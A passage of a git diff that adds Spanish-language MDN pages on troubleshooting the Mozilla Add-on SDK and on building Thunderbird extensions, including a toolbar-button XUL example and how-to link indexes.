diff --git a/files/es/mozilla/add-ons/sdk/tutorials/troubleshooting/index.html b/files/es/mozilla/add-ons/sdk/tutorials/troubleshooting/index.html
new file mode 100644
index 0000000000..cb2c3d7b18
--- /dev/null
+++ b/files/es/mozilla/add-ons/sdk/tutorials/troubleshooting/index.html
@@ -0,0 +1,143 @@
+---
+title: Resolución de problemas
+slug: Mozilla/Add-ons/SDK/Tutorials/Troubleshooting
+translation_of: Archive/Add-ons/Add-on_SDK/Tutorials/Troubleshooting
+---
+<p>Si tiene problemas para lograr que el Add-on SDK funcione correctamente, ¡no entre en pánico! Esta página lista algunos puntos de inicio que pueden ayudarte a solucionar el problema.</p>
+
+<h2 id="Problema_de_Cuarentena_en_Mac_OS_X">Problema de Cuarentena en Mac OS X</h2>
+
+<p>En Mac OS X, puede aparecer el siguiente error cuando intenta ejecutar <code>cfx</code>:</p>
+
+<pre>/path/to/sdk/bin/cfx: /usr/bin/env: bad interpreter: Operation not permitted
+</pre>
+
+<p>Esto puede ser causado debido a que el archivo ejecutable de <code>cfx</code> fue puesto en cuarentena durante la descarga desde Internet.</p>
+
+<p>Pra sacar el archivo de la cuarentena, use <code>xattr -d</code>, especificando <code>com.apple.quarantine</code> como el nombre del atributo a ser eliminado, y <code>cfx</code> como el archivo desde el cual borrar ese atributo:</p>
+
+<pre>xattr -d com.apple.quarantine /path/to/sdk/bin/cfx
+</pre>
+
+<h2 id="Verificar_Python">Verificar Python</h2>
+
+<p>La herramienta <code>cfx</code> del SDK se ejecuta sobre Python. Si tiene problemas para ejecutar <code>cfx</code> de cualquier manera, asegúrese de tener Python correctamente instalado.</p>
+
+<p>Intente ejecutar la siguiente línea desde una terminal:</p>
+
+<pre>  python --version
+</pre>
+
+<p><span class="rangySelectionBoundary" id="selectionBoundary_1424733772250_620847453524463" style="display: none; line-height: 0;"></span><span class="rangySelectionBoundary" id="selectionBoundary_1424733772250_1443661623400101" style="display: none; line-height: 0;"></span><code>cfx</code> espera contar con Python 2.5, 2.6 o 2.7. Versiones anteriores o superiores pueden o no funcionar correctamente. Los espacios en blanco en la ruta de instalación no estan soportados.</p>
+
+<h2 id="Verificar_Firefox_o_XULRunner">Verificar Firefox o XULRunner</h2>
+
+<p><code>cfx</code> busca lugares conocidos en el sistema para encontrar a Firefox o XULRunner. <code>cfx</code> puede no haber encontrado una instalación, o si tiene múltiples instalaciones, <code>cfx</code> puede haber encontrado la instalación menos apropiada. En esos casos debe usar  <code>la opción </code><code>--binary</code> de <code>cfx</code>. Vea la guia <a href="/en-US/Add-ons/SDK/Tools/cfx">cfx Tool</a> para más información.</p>
+
+<p>Cuando ejecuta <code>cfx</code> para probar el add-on o realiza pruebas unitarias, se muestra en pantalla la ubicación de los binarios de Firefox o XULRunner encontrados, por lo que puede asegurarse de la ubicación revisando estas salidas.</p>
+
+<h2 id="Verificar_la_Terminal_de_Texto">Verificar la Terminal de Texto</h2>
+
+<p>Cuando se generan errores en la API del SDK y el código, estos son registrados en la terminal de texto. Esta debería ser la misma terminal desde la cual ejecuta <code>cfx</code>.</p>
+
+<h2 id="No_deje_sueltos_los_Archivos_No-SDK">No deje sueltos los Archivos No-SDK</h2>
+
+<p>Actualmente el SDK no maneja de manera adecuada los archivos y directorios que no espera encontrar. Si hay directorios vacíos, directorios o archivos  que no estan relacionados con el SDK dentro del directorio <code>addon-sdk</code> o sus subdirectorios, intente eliminarlos.</p>
+
+<h2 id="Buscar_Problemas_Conocidos">Buscar Problemas Conocidos</h2>
+
+<p>Alguien mas debe haber experimentado su mismo problema. Frecuentemente otras personas publican sus problemas a la <a href="http://groups.google.com/group/mozilla-labs-jetpack/topics">lista de correo del proyecto</a>. Usted también puede explorar la lista de <a href="https://bugzilla.mozilla.org/buglist.cgi?order=Bug%20Number&amp;resolution=---&amp;resolution=DUPLICATE&amp;query_format=advanced&amp;product=Add-on%20SDK">problemas conocidos</a> ó <a href="https://bugzilla.mozilla.org/query.cgi?format=advanced&amp;product=Add-on%20SDK">buscar</a> palabras claves específicas.</p>
+
+<h2 id="Contactar_al_Equipo_del_Proyecto_y_al_Grupo_de_Usuarios">Contactar al Equipo del Proyecto y al Grupo de Usuarios</h2>
+
+<p>Las personas usuarias del SDK y las personas miembro del equipo del proyecto discuten problemas y propuestas en la <a href="http://groups.google.com/group/mozilla-labs-jetpack/topics">lista de correo del proyecto</a>. Alguien más puede haber tenido un problema igual al suyo, por lo tanto puede intentar buscar en la lista. Igualmente puede publicar una pregunta si así lo desea.</p>
+
+<p>También puede hablar en tiempo real con otras personas usuarias de SDK en el canal <a href="http://mibbit.com/?channel=%23jetpack&amp;server=irc.mozilla.org">#jetpack</a> en la<a href="http://irc.mozilla.org/"> red IRC de Mozilla</a>.</p>
+
+<p>Y si desea <a href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Add-on%20SDK&amp;component=General">reportar un error en el SDK</a>, es siempre bienvenido! Para esto deberá crear una cuenta con Bugzilla, el rastreador de errores de Mozilla.</p>
+
+<h2 id="Ejecutar_Pruebas_Unitarias_en_SDK">Ejecutar Pruebas Unitarias en SDK</h2>
+
+<p>El SDK trae consigo un conjunto de pruebas las cuales aseguran el correcto funcionamiento de las APIs. Puede ejecutaras de la siguiente manera:</p>
+
+<pre>  cfx testall
+</pre>
+
+<p>Algunas de las pruebas abren la ventana de Firefox para verificar las APIs relacionadas a la interfaz de usuario, no se preocupe. Por favor deje que el proceso culmine antes de reanudar su trabajo.</p>
+
+<p>Cuando el proceso culmine, la terminal debe mostrar la salida que puede verse de la siguiente manera:</p>
+
+<pre>  Testing cfx...
+  .............................................................
+  ----------------------------------------------------------------------
+  Ran 61 tests in 4.388s
+
+OK
+  Testing reading-data...
+  Using binary at '/Applications/Firefox.app/Contents/MacOS/firefox-bin'.
+  Using profile at '/var/folders/FL/FLC+17D+ERKgQe4K+HC9pE+++TI/-Tmp-/tmpu26K_5.mozrunner'.
+  .info: My ID is 6724fc1b-3ec4-40e2-8583-8061088b3185
+  ..
+  3 of 3 tests passed.
+  OK
+  Total time: 4.036381 seconds
+  Program terminated successfully.
+  Testing all available packages: nsjetpack, test-harness, api-utils, development-mode.
+  Using binary at '/Applications/Firefox.app/Contents/MacOS/firefox-bin'.
+  Using profile at '/var/folders/FL/FLC+17D+ERKgQe4K+HC9pE+++TI/-Tmp-/tmp-dzeaA.mozrunner'.
+  .........................................................................
+  .........................................................................
+  .........................................................................
+  .........................................................................
+  .........................................................................
+  .........................................................................
+  .........................................................................
+  .........................................................................
+  .........................................................................
+  .........................................................................
+  .........................................................................
+  .........................................................................
+  .........................................................................
+  .........................................................................
+  .........................................................................
+  .........................................................................
+  .........................................................................
+  .........................................................................
+  .........................................................................
+  .........................................................................
+  .........................................................................
+  .........................................................................
+  .........................................................................
+  .........................................................................
+  .........................................................................
+  .........................................................................
+  .........................................................................
+  .........................................................................
+  .........................................................................
+  .........................................................................
+  .........................................................................
+  .........................................................................
+  .........................................................................
+  .........................................................................
+  .........................................................................
+  .........................................................................
+  .........................................................................
+  .........................................................................
+  .........................................................................
+  .........................................................................
+  .........................................................................
+  .........................................................................
+  .........................................................................
+  .........................................................................
+  .........................................................................
+  .........................................................................
+  ...............................................
+
+3405 of 3405 tests passed.
+  OK
+  Total time: 43.105498 seconds
+  Program terminated successfully.
+  All tests were successful. Ship it!
+</pre>
+
+<p>Si la salida revela muchos errores, puede ser una señal que el SDK no se esta ejecutando correctamente en su sistema. En ese caso, por favor reporte el error o envíe un mensaje a la lista de correo. Vea la sección anterior para más información sobre como hacer esto.</p>
diff --git a/files/es/mozilla/add-ons/themes/obsolete/index.html b/files/es/mozilla/add-ons/themes/obsolete/index.html
new file mode 100644
index 0000000000..d420b6ebf0
--- /dev/null
+++ b/files/es/mozilla/add-ons/themes/obsolete/index.html
@@ -0,0 +1,10 @@
+---
+title: Obsolete
+slug: Mozilla/Add-ons/Themes/Obsolete
+tags:
+  - NeedsTranslation
+  - TopicStub
+translation_of: Mozilla/Add-ons/Themes/Obsolete
+---
+<p>This page collects theme docs that we don't expect will ever be updated, but which we're keeping for the time being as potential source material for updated docs.</p>
+<p>{{ ListSubPages ("/en-US/Add-ons/Themes/Obsolete", 5) }}</p>
diff --git a/files/es/mozilla/add-ons/thunderbird/howtos/common_thunderbird_extension_techniques/add_toolbar_button/index.html b/files/es/mozilla/add-ons/thunderbird/howtos/common_thunderbird_extension_techniques/add_toolbar_button/index.html
new file mode 100644
index 0000000000..216b120445
--- /dev/null
+++ b/files/es/mozilla/add-ons/thunderbird/howtos/common_thunderbird_extension_techniques/add_toolbar_button/index.html
@@ -0,0 +1,33 @@
+---
+title: Añadir botón a la barra de herramientas
+slug: >-
+  Mozilla/Add-ons/Thunderbird/HowTos/Common_Thunderbird_Extension_Techniques/Add_Toolbar_Button
+translation_of: >-
+  Mozilla/Thunderbird/Thunderbird_extensions/HowTos/Common_Thunderbird_Extension_Techniques/Add_Toolbar_Button
+---
+<p>{{AddonSidebar}}</p>
+
+<p>Fichero XUL de ejemplo:</p>
+
+<pre class="brush: js">&lt;?xml version="1.0"?&gt;
+&lt;?xml-stylesheet href="chrome://demo/skin/overlay.css" type="text/css" ?&gt;
+
+&lt;overlay id="messengerWindow" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
+  &lt;script type="application/x-javascript" src="overlay.js" /&gt;
+  &lt;toolbarpalette id="MailToolbarPalette"&gt;
+    &lt;toolbarbutton id="demo-button"
+      class="demo-button toolbarbutton-1"
+      label="Demo"
+      type="button"
+      oncommand="Demo.load();"
+      /&gt;
+  &lt;/toolbarpalette&gt;
+&lt;/overlay&gt;
+</pre>
+
+<p>Añada el siguiente código al fichero CSS referenciado en el fichero XUL:</p>
+
+<pre class="brush: css">#demo-button, [place="palette"] &gt; #demo-button {
+  list-style-image: url("chrome://demo/skin/icon.png") !important;
+}
+</pre>
diff --git a/files/es/mozilla/add-ons/thunderbird/howtos/common_thunderbird_extension_techniques/index.html b/files/es/mozilla/add-ons/thunderbird/howtos/common_thunderbird_extension_techniques/index.html
new file mode 100644
index 0000000000..8711130729
--- /dev/null
+++ b/files/es/mozilla/add-ons/thunderbird/howtos/common_thunderbird_extension_techniques/index.html
@@ -0,0 +1,13 @@
+---
+title: Common Thunderbird Extension Techniques
+slug: Mozilla/Add-ons/Thunderbird/HowTos/Common_Thunderbird_Extension_Techniques
+tags:
+  - NeedsTranslation
+  - TopicStub
+  - thunderbird
+translation_of: >-
+  Mozilla/Thunderbird/Thunderbird_extensions/HowTos/Common_Thunderbird_Extension_Techniques
+---
+<p>{{AddonSidebar}}</p>
+
+<p>{{ tree() }}</p>
diff --git a/files/es/mozilla/add-ons/thunderbird/howtos/index.html b/files/es/mozilla/add-ons/thunderbird/howtos/index.html
new file mode 100644
index 0000000000..6d5cb0424a
--- /dev/null
+++ b/files/es/mozilla/add-ons/thunderbird/howtos/index.html
@@ -0,0 +1,128 @@
+---
+title: Thunderbird HowTos
+slug: Mozilla/Add-ons/Thunderbird/HowTos
+tags:
+  - Add-ons
+  - Extensions
+  - NeedsTranslation
+  - TopicStub
+  - thunderbird
+translation_of: Mozilla/Thunderbird/Thunderbird_extensions/HowTos
+---
+<p>{{AddonSidebar}}</p>
+
+<div class="warning">
+<p style="text-align: center;">This page is badly broken (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=868872" title="https://bugzilla.mozilla.org/show_bug.cgi?id=868872">https://bugzilla.mozilla.org/show_bug.cgi?id=868872</a>), use <a href="http://mdn.beonex.com/en/Extensions/Thunderbird/HowTos.html" title="http://mdn.beonex.com/en/Extensions/Thunderbird/HowTos.html">http://mdn.beonex.com/en/Extensions/Thunderbird/HowTos.html</a> in the meanwhile.</p>
+</div>
+
+<p>Please add questions or answers to this page so that other people can benefit from your work. Also, you will see that there are many topics for which there is a question, but no answer. <strong>Please help</strong> by adding an answer! (Adding another question helps too!)</p>
+
+<p>To get started creating the most basic extension framework, please see <a href="/en-US/docs/Extensions/Thunderbird/Building_a_Thunderbird_extension" title="Building a Thunderbird extension">Building a Thunderbird Extension</a>.</p>
+
+<p>This page is organized into two parts: common extension techniques and Thunderbird-specific APIs. The former discusses general methods to <em>hook into</em> Thunderbird, while the latter is more focused on how to do interesting things once Thunderbird has started running your code.</p>
+
+<p>See also "<a href="/en-US/docs/Extensions/Thunderbird/An_overview_of_the_Thunderbird_interface" title="Extensions/Thunderbird/An overview of the Thunderbird interface">An overview of Thunderbird components</a>". Many of the components described on that page have links to related examples.</p>
+
+<h2 id="Common_Extension_Techniques">Common Extension Techniques</h2>
+
+<div class="wiki-tree">
+<ul>
+ <li><a href="/en-US/docs/Extensions/Thunderbird/HowTos/Common_Thunderbird_Extension_Techniques/Add_Toolbar_Button" rel="internal" title="Extensions/Thunderbird/HowTos/Common_Thunderbird_Extension_Techniques/Add_Toolbar_Button">Adding a Toolbar Button</a></li>
+ <li><a href="/en-US/docs/Extensions/Thunderbird/HowTos/Common_Thunderbird_Extension_Techniques/Add_Option_to_Context_Menu" rel="internal" title="Extensions/Thunderbird/HowTos/Common_Thunderbird_Extension_Techniques/Add_Option_to_Context_Menu">Adding an Option to the Context Menu</a> <strong>TODO</strong></li>
+ <li><a href="/en-US/docs/Extensions/Thunderbird/HowTos/Common_Thunderbird_Extension_Techniques/Add_New_Tab" rel="internal" title="Extensions/Thunderbird/HowTos/Common_Thunderbird_Extension_Techniques/Opening_a_New_Tab">Opening a New Tab</a></li>
+ <li><a href="/en-US/docs/Extensions/Thunderbird/HowTos/Common_Thunderbird_Extension_Techniques/Access_StringBundle_from_Overlay" rel="internal" title="Extensions/Thunderbird/HowTos/Common_Thunderbird_Extension_Techniques/Access_StringBundle_from_Overlay">Accessing StringBundle from an Overlay</a></li>
+ <li><a href="/en-US/docs/Extensions/Thunderbird/HowTos/Common_Thunderbird_Extension_Techniques/Access_Thunderbird_Window_Areas" rel="internal" title="Extensions/Thunderbird/HowTos/Common_Thunderbird_Extension_Techniques/Access_Thunderbird_Window_Areas">Access Thunderbird Window Areas</a></li>
+ <li><a href="/en-US/docs/Extensions/Thunderbird/HowTos/Common_Thunderbird_Extension_Techniques/Access_Window" rel="internal" title="Extensions/Thunderbird/HowTos/Common_Thunderbird_Extension_Techniques/Access_Window">Access Window</a></li>
+ <li><a href="/en-US/docs/Extensions/Thunderbird/HowTos/Access_Message_in_Compose_Window_Editor">Access Message in Compose Window Editor</a></li>
+ <li><a href="/en-US/docs/Extensions/Thunderbird/HowTos/Common_Thunderbird_Extension_Techniques/Create_Custom_Column" rel="internal" title="Extensions/Thunderbird/HowTos/Common_Thunderbird_Extension_Techniques/Create_Custom_Column">Create Custom Column</a></li>
+ <li><a href="/en-US/docs/Extensions/Thunderbird/HowTos/Common_Thunderbird_Extension_Techniques/Detect_Opening_Folder" rel="internal" title="Extensions/Thunderbird/HowTos/Common_Thunderbird_Extension_Techniques/Detect_Opening_Folder">Detect Opening Folder</a></li>
+ <li><a href="/en-US/docs/Extensions/Thunderbird/HowTos/Common_Thunderbird_Extension_Techniques/Filter_Incoming_Mail" rel="internal" title="Extensions/Thunderbird/HowTos/Common_Thunderbird_Extension_Techniques/Filter_Incoming_Mail">Filter Incoming Mail</a> <strong>NEW!</strong></li>
+ <li><a href="/en-US/docs/Extensions/Thunderbird/HowTos/Common_Thunderbird_Extension_Techniques/Get_Thunderbird_version" rel="internal" title="Extensions/Thunderbird/HowTos/Common_Thunderbird_Extension_Techniques/Get_Thunderbird_version">Get Thunderbird version</a></li>
+ <li><a href="/en-US/docs/Extensions/Thunderbird/HowTos/Common_Thunderbird_Extension_Techniques/Use_SQLite" rel="internal" title="Extensions/Thunderbird/HowTos/Common_Thunderbird_Extension_Techniques/Use_SQLite">Use SQLite</a></li>
+</ul>
+</div>
+
+<h2 id="Thunderbird-specific_APIs_for_Extensions">Thunderbird-specific APIs for Extensions</h2>
+
+<p>Each of the pages listed in this section contains a number of related topics. For example, the "Compose New Message" page contains sections that describe how to open a new message window, modify a message body, etc.</p>
+
+<h3 id="Folders_and_message_lists"><a href="/en-US/Add-ons/Thunderbird/HowTos/Folders_and_message_lists">Folders and message lists</a></h3>
+
+<ul>
+ <li><a href="/en-US/Add-ons/Thunderbird/HowTos/Folders_and_message_lists#Getting_the_Current_nsIMsgFolder">Getting the Current nsIMsgFolder</a></li>
+ <li><a href="/en-US/Add-ons/Thunderbird/HowTos/Folders_and_message_lists#Getting_the_Currently-Selected_Message">Getting the Currently-Selected Message</a></li>
+ <li><a href="/en-US/Add-ons/Thunderbird/HowTos/Folders_and_message_lists#Changing_the_Current_Message_Selection">Changing the Current Message Selection</a></li>
+ <li><a href="/en-US/Add-ons/Thunderbird/HowTos/Folders_and_message_lists#Listing_Messages_in_a_Folder">Listing Messages in a Folder</a></li>
+ <li><a href="/en-US/Add-ons/Thunderbird/HowTos/Folders_and_message_lists#Listing_Subfolders">Listing Subfolders</a> <strong>TODO</strong></li>
+ <li><a href="/en-US/Add-ons/Thunderbird/HowTos/Folders_and_message_lists#Perform_Operation_on_Folder">Perform Operation on Folder</a> <strong>TODO</strong></li>
+ <li><a href="/en-US/Add-ons/Thunderbird/HowTos/Folders_and_message_lists#Check_for_New_Mail">Check for New Mail</a> <strong>TODO</strong></li>
+ <li><a href="/en-US/Add-ons/Thunderbird/HowTos/Folders_and_message_lists#Watch_for_New_Mail">Watch for New Mail</a> <strong>TODO</strong></li>
+ <li><a href="/en-US/Add-ons/Thunderbird/HowTos/Folders_and_message_lists#Check_if_a_message_is_a_Feed_Item">Check if a Message is a Feed Item</a> <strong>TODO</strong></li>
+ <li><a href="/en-US/Add-ons/Thunderbird/HowTos/Folders_and_message_lists#Move_Selected_Messages">Move Selected Message</a> <strong>TODO</strong></li>
+ <li><a href="/en-US/Add-ons/Thunderbird/HowTos/Folders_and_message_lists#Copy_Selected_Messages">Copy Selected Message</a> <strong>TODO</strong></li>
+</ul>
+
+<h3 id="View_message"><a href="/en-US/docs/Thunderbird/Message_View_Examples" rel="internal">View message</a></h3>
+
+<ul>
+ <li><a href="/en-US/docs/Thunderbird/Message_View_Examples#Get_Message_Header_from_a_URI.2FURL" rel="internal">Get Message Header by URI/URL</a></li>
+ <li><a href="/en-US/docs/Thunderbird/Message_View_Examples#List_Attachments" rel="internal">List Attachments</a> <strong>TODO</strong></li>
+ <li><a href="/en-US/docs/Thunderbird/Message_View_Examples#Read_Attachment" rel="internal">Read Attachment</a> <strong>TODO</strong></li>
+ <li><a href="/en-US/docs/Thunderbird/Message_View_Examples#Save_Attachment" rel="internal">Save Attachment</a> <strong>TODO</strong></li>
+ <li><a href="/en-US/docs/Thunderbird/Message_View_Examples#Access_Message" rel="internal">Access Message</a> <strong>TODO</strong></li>
+ <li><a href="/en-US/docs/Thunderbird/Message_View_Examples#Get_Message_Body_by_Header" rel="internal">Get Message Body by Header</a> <strong>TODO</strong></li>
+ <li><a href="/en-US/docs/Thunderbird/Message_View_Examples#section_8" rel="internal">Get MIME Headers for any message</a></li>
+ <li><a href="/en-US/docs/Thunderbird/Message_View_Examples#Search_Messages" rel='internal"'>Search Messages</a> <strong>TODO</strong></li>
+ <li><a href="/en-US/docs/Thunderbird/Message_View_Examples#section_8" rel="internal">Display a message yourself using &lt;iframe&gt;s</a> <strong>TODO</strong></li>
+</ul>
+
+<h3 id="Compose_new_messages"><a href="/en-US/docs/Extensions/Thunderbird/HowTos/Common_Thunderbird_Use_Cases/Compose_New_Message" title="Extensions/Thunderbird/HowTos/Common Thunderbird Use Cases/Compose New Message">Compose new messages</a></h3>
+
+<ul>
+ <li><a href="/en-US/docs/Extensions/Thunderbird/HowTos/Common_Thunderbird_Use_Cases/Compose_New_Message#Open_New_Message_Window" rel="internal">Open New Message Window</a></li>
+ <li><a href="/en-US/docs/Extensions/Thunderbird/HowTos/Common_Thunderbird_Use_Cases/Compose_New_Message#Modify_Recipient_List" rel="internal">Modify Recipient List</a> <strong>TODO</strong></li>
+ <li><a href="/en-US/docs/Extensions/Thunderbird/HowTos/Common_Thunderbird_Use_Cases/Compose_New_Message#Modify_Header" rel="internal">Modify Header</a></li>
+ <li><a href="/en-US/docs/Extensions/Thunderbird/HowTos/Common_Thunderbird_Use_Cases/Compose_New_Message#Add_Header" rel="internal">Add Header</a></li>
+ <li><a href="/en-US/docs/Extensions/Thunderbird/HowTos/Common_Thunderbird_Use_Cases/Compose_New_Message#Modify_Message_Body" rel="internal">Modify Message Body</a></li>
+ <li><a href="/en-US/docs/Extensions/Thunderbird/HowTos/Common_Thunderbird_Use_Cases/Compose_New_Message#Intercept_Outgoing_Message" rel="internal">Intercept Outgoing Message</a></li>
+ <li><a href="/en-US/docs/Extensions/Thunderbird/HowTos/Common_Thunderbird_Use_Cases/Compose_New_Message#Get_Access_to_the_Compose_Window_before_the_Editing_is_Started" rel="internal">Get Access to the Compose Window before the Editing is Started</a></li>
+ <li><a href="/en-US/docs/Extensions/Thunderbird/HowTos/Automatic_message_sending">Automatic message sending</a></li>
+ <li><a href="/en-US/docs/Extensions/Thunderbird/HowTos/Creating_a_message_for_sending_later">Creating a message for sending later (store it in the Outbox folder)</a></li>
+</ul>
+
+<h3 id="Reply_to_message"><strong><a href="/en-US/docs/Extensions/Thunderbird/HowTos/Common_Thunderbird_Use_Cases/Reply_to_Message" title="Extensions/Thunderbird/HowTos/Common Thunderbird Use Cases/Reply to Message">Reply to message</a></strong></h3>
+
+<ul>
+ <li><a href="/en-US/docs/Extensions/Thunderbird/HowTos/Common_Thunderbird_Use_Cases/Reply_to_Message#Modify_Quoted_Message_%28before_normal_composition%29" rel="internal" title="Extensions/Thunderbird/HowTos/Common Thunderbird Use Cases/Reply to Message#Modify Quoted Message (before normal composition)">Modify Quoted Message (before normal composition)</a> <strong>TODO</strong></li>
+ <li><a href="/en-US/docs/Extensions/Thunderbird/HowTos/Common_Thunderbird_Use_Cases/Reply_to_Message#section_1" title="https://developer.mozilla.org/en/Extensions/Thunderbird/HowTos/Common_Thunderbird_Use_Cases/Reply_to_Message#section_1">Reply to a given message, reply to all, forward it, reply to list, and all variants</a></li>
+</ul>
+
+<h3 id="Access_address_book"><a href="/en-US/docs/Thunderbird/Address_Book_Examples" title="https://developer.mozilla.org/En/Address_Book_Examples">Access address book</a></h3>
+
+<ul>
+ <li><a href="/en-US/docs/Thunderbird/Address_Book_Examples#How_do_I_get_all_address_books.3f" title="Address Book Examples#How do I get all address books.3f">Get all address books</a></li>
+ <li><a href="/en-US/docs/Thunderbird/Address_Book_Examples#How_do_I_get_one_address_book.3f" title="Address Book Examples#How do I get one address book.3f">Get one address book</a></li>
+ <li><a href="/en-US/docs/Thunderbird/Address_Book_Examples#How_do_I_search_for_a_particular_contact_property_%28name.2c_email%29.3f" title="Address Book Examples#How do I search for a particular contact property (name.2c email).3f">Search for a particular contact property (name, email)</a></li>
+ <li><a href="/en-US/docs/Thunderbird/Address_Book_Examples#How_do_I_search_for_multiple_contacts.3f" title="Address Book Examples#How do I search for multiple contacts.3f">Search for multiple contacts</a></li>
+ <li><a href="/en-US/docs/Thunderbird/Address_Book_Examples#How_do_I_add.2fedit.2fdelete_contacts.3f" title="Address Book Examples#How do I add.2fedit.2fdelete contacts.3f">Add / edit / Delete contacts</a></li>
+ <li><a href="/en-US/docs/Thunderbird/Address_Book_Examples#How_do_I_add_and_use_my_own_properties.3f" title="Address Book Examples#How do I add and use my own properties.3f">Add and use custom properties</a></li>
+ <li><a href="/en-US/docs/Thunderbird/Address_Book_Examples#How_do_I_add.2fedit.2fdelete_mailing_lists.3f" title="Address Book Examples#How do I add.2fedit.2fdelete mailing lists.3f">Add / edit / delete mailing lists</a></li>
+ <li><a href="/en-US/docs/Thunderbird/Address_Book_Examples#How_do_I_display_properties_dialogs_to_the_user.3f" title="Address Book Examples#How do I display properties dialogs to the user.3f">Display properties dialogs to the user</a></li>
+ <li><a href="/en-US/docs/Thunderbird/Address_Book_Examples#How_do_I_set_up_my_own_address_book.3f" title="Address Book Examples#How do I set up my own address book.3f">Set up custom address book</a></li>
+ <li><a href="/en-US/docs/Thunderbird/Address_Book_Examples#How_do_I.c2.a0set_up_autocomplete_to_use_the_address_book.3f" title="Address Book Examples#How do I.c2.a0set up autocomplete to use the address book.3f">Set up auto-complete to use the address book</a></li>
+</ul>
+
+<div class="wiki-tree">
+<ul>
+</ul>
+
+<h3 id="Activity_Manager">Activity Manager</h3>
+</div>
+
+<ul>
+ <li><a href="/en-US/docs/Extensions/Thunderbird/HowTos/Activity_Manager#Showing_a_user-defined_activity_in_the_Activity_Manager_window" rel="internal"><u>Show a user-defined activity in the Activity Manager window</u></a> <strong>NEW</strong>!</li>
+ <li><a href="/en-US/docs/Extensions/Thunderbird/HowTos/Activity_Manager#Showing_a_user-defined_activity_with_cancel_capability_%28JavaScript%29" rel="internal">Show a user-defined activity with cancel capability (JavaScript)</a> in the Activity Manager window <strong>NEW</strong>!</li>
+ <li><a href="/en-US/docs/Extensions/Thunderbird/HowTos/Activity_Manager#Showing_a_user-defined_activity_with_undo_capability_%28C.2b.2b%29" rel="internal">Show a user-defined activity with undo capability (C++)</a> in the Activity Manager window <strong>NEW</strong>!</li>
+ <li><a href="/en-US/docs/Extensions/Thunderbird/HowTos/Activity_Manager#Adding_an_activity_with_a_custom_context_type" rel="internal"><u>Add an activity with a custom context type</u></a> in the Activity Manager window <strong>NEW</strong>!</li>
+ <li><a href="/en-US/docs/Extensions/Thunderbird/HowTos/Activity_Manager#Adding_a_fully_customized_activity" rel="internal">Add a fully customized activity</a> in the Activity Manager window <strong>NEW</strong>!</li>
+</ul>
diff --git a/files/es/mozilla/add-ons/thunderbird/index.html b/files/es/mozilla/add-ons/thunderbird/index.html
new file mode 100644
index 0000000000..4e66877136
--- /dev/null
+++ b/files/es/mozilla/add-ons/thunderbird/index.html
@@ -0,0 +1,137 @@
+---
+title: Thunderbird extensions
+slug: Mozilla/Add-ons/Thunderbird
+tags:
+  - Add-ons
+  - Extensions
+  - NeedsTranslation
+  - TopicStub
+  - thunderbird
+translation_of: Mozilla/Thunderbird/Thunderbird_extensions
+---
+<div class="callout-box"><strong><a href="/en/Extensions/Thunderbird/Building_a_Thunderbird_extension" title="en/Building_a_Thunderbird_extension">Building a Thunderbird extension</a></strong><br>
+Step-by-step explanation on how to build an extension for Thunderbird.</div>
+
+<div>
+<p>{{AddonSidebar}}</p>
+The following documentation provides help for creating extensions for Mozilla's <a class="internal" href="/en/Thunderbird" title="En/Thunderbird">Thunderbird</a> email client. Although there are many similarities with <a href="/en/Extensions" title="en/Extensions">Firefox extensions</a> there are also some differences that may confound the starting developer.</div>
+
+<div><br>
+<strong>Please help!</strong> You can <a class="internal" href="/en/Extensions/Thunderbird/HowTos" title="en/Extensions/Thunderbird/HowTos">add a how-to</a> (a question or an answer or a code snippet), <a class="internal" href="/en/Extensions/Thunderbird/Useful_newsgroups_discussions" title="En/Extensions/Thunderbird/Useful newsgroups discussions">summarize and link to a relevant newsgroup discussion</a>, or create a tutorial. Need help? Contact <a class="internal" href="/User:jenzed" title="User:jenzed">jenzed</a>.</div>
+
+<table class="topicpage-table">
+ <tbody>
+  <tr>
+   <td>
+    <h2 id="Documentation" name="Documentation"><a href="/Special:Tags?tag=Extensions&amp;language=en" title="Special:Tags?tag=Extensions&amp;language=en">Documentation</a></h2>
+
+    <h3 id="Getting_started_with_Thunderbird">Getting started with Thunderbird</h3>
+
+    <p>A brave, young developer wants to develop an add-on for Thunderbird. Here's a few links to help them through this journey.</p>
+
+    <ul>
+     <li>Start by reading the tutorial and learn how to<a class="internal" href="/en/Extensions/Thunderbird/Building_a_Thunderbird_extension" title="En/Building a Thunderbird extension"> build a Thunderbird extension</a> (Outdated, still talks about overlays and the add-on builder is no longer available but the tutorial has not been updated.)</li>
+     <li>Read about the <a href="/en/Thunderbird/Main_Windows" title="Main Windows">main windows</a> so that you know what one means when they say « thread pane », « preview pane », and « folder pane ».</li>
+
+     <li>Want to do some real stuff? See <a class="external" href="http://blog.xulforum.org/index.php?post/2011/03/14/Basic-MimeMessage-demo" title="http://blog.xulforum.org/index.php?post/2011/03/14/Basic-MimeMessage-demo">how to inspect a message</a> (demo add-on included!)</li>
+     <li>Play with our other <a href="/en/Extensions/Thunderbird/Demo_Addon" title="Demo Addon">demo add-on</a> that exercises some more advanced Thunderbird-specific features</li>
+     <li>Want to do even more stuff? Don't reinvent the wheel: steal functions from the <a class="link-https" href="https://github.com/protz/thunderbird-stdlib" title="https://github.com/protz/thunderbird-stdlib">thunderbird-stdlib</a> project (doc <a class="external" href="http://protz.github.com/thunderbird-stdlib/doc/symbols/_global_.html" title="http://protz.github.com/thunderbird-stdlib/doc/symbols/_global_.html">here</a>). Functions for dealing with messages (delete them, archive them, change their tags, etc.) are included.</li>
+     <li>Haven't found what you're looking for? Read the <a class="internal" href="/en/Extensions/Thunderbird/HowTos" rel="internal" title="en/Extensions/Thunderbird/HowTos">Thunderbird how-tos</a>; they contain a lot of recipes for things extensions want to do.</li>
+     <li>Still haven't managed to do what you wanted? See the list of all <a class="external" href="http://wiki.mozilla.org/Thunderbird/CommunicationChannels" title="http://wiki.mozilla.org/Thunderbird/CommunicationChannels">Thunderbird communication channels </a>so that you know where to ask when you get stuck :-).</li>
+     <li>Feeling really brave? Read the source using a <a class="external" href="http://doxygen.db48x.net/comm-central/html/" title="http://doxygen.db48x.net/comm-central/html/">fancy interface</a>; you can often find tests that demonstrate how to do what you're trying to achieve.</li>
+    </ul>
+
+    <h3 id="The_Gloda_database">The Gloda database</h3>
+
